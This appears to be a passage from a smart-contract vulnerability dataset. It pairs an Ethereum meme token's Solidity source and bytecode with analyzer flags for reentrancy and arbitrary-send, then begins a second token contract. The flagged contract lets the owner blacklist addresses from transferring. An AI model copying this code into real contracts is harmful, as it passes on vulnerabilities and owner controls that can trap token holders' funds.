}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600981526020017f5547504f4c444f47450000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5550444f47450000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600a6008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2c618dad9257e32694ab937832bb79276afac211756f7c45ee66afba39f078d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,665 |
0xffda299a1a6266daab9be11eec2aa8b613d6e360 | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
